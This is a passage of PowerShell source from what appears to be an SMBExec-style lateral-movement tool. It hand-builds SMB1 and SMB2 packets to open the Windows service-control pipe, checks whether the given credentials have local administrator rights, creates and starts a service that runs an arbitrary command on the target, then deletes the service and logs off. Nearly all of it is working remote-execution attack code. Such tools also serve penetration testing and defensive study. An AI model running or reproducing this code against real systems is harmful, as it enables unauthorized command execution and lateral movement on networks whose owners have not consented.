$SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m $Sleep + $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + + if($SMB_execute) + { + Write-Verbose "$output_username is a local administrator on $Target" + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + Write-Verbose "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + Write-Verbose "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + if($SMB_close_service_handle_stage -eq 1) + { + Write-Verbose "Service $SMB_service deleted on $Target" + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateRequest' + } + catch + { + Write-Output "[-] Session connection is closed" + $SMB_client_stage = 'Exit' + } + + } + + 'CreateRequest' + { + #$SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB2_tree_ID = $SMB_client_receive[40..43] + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService 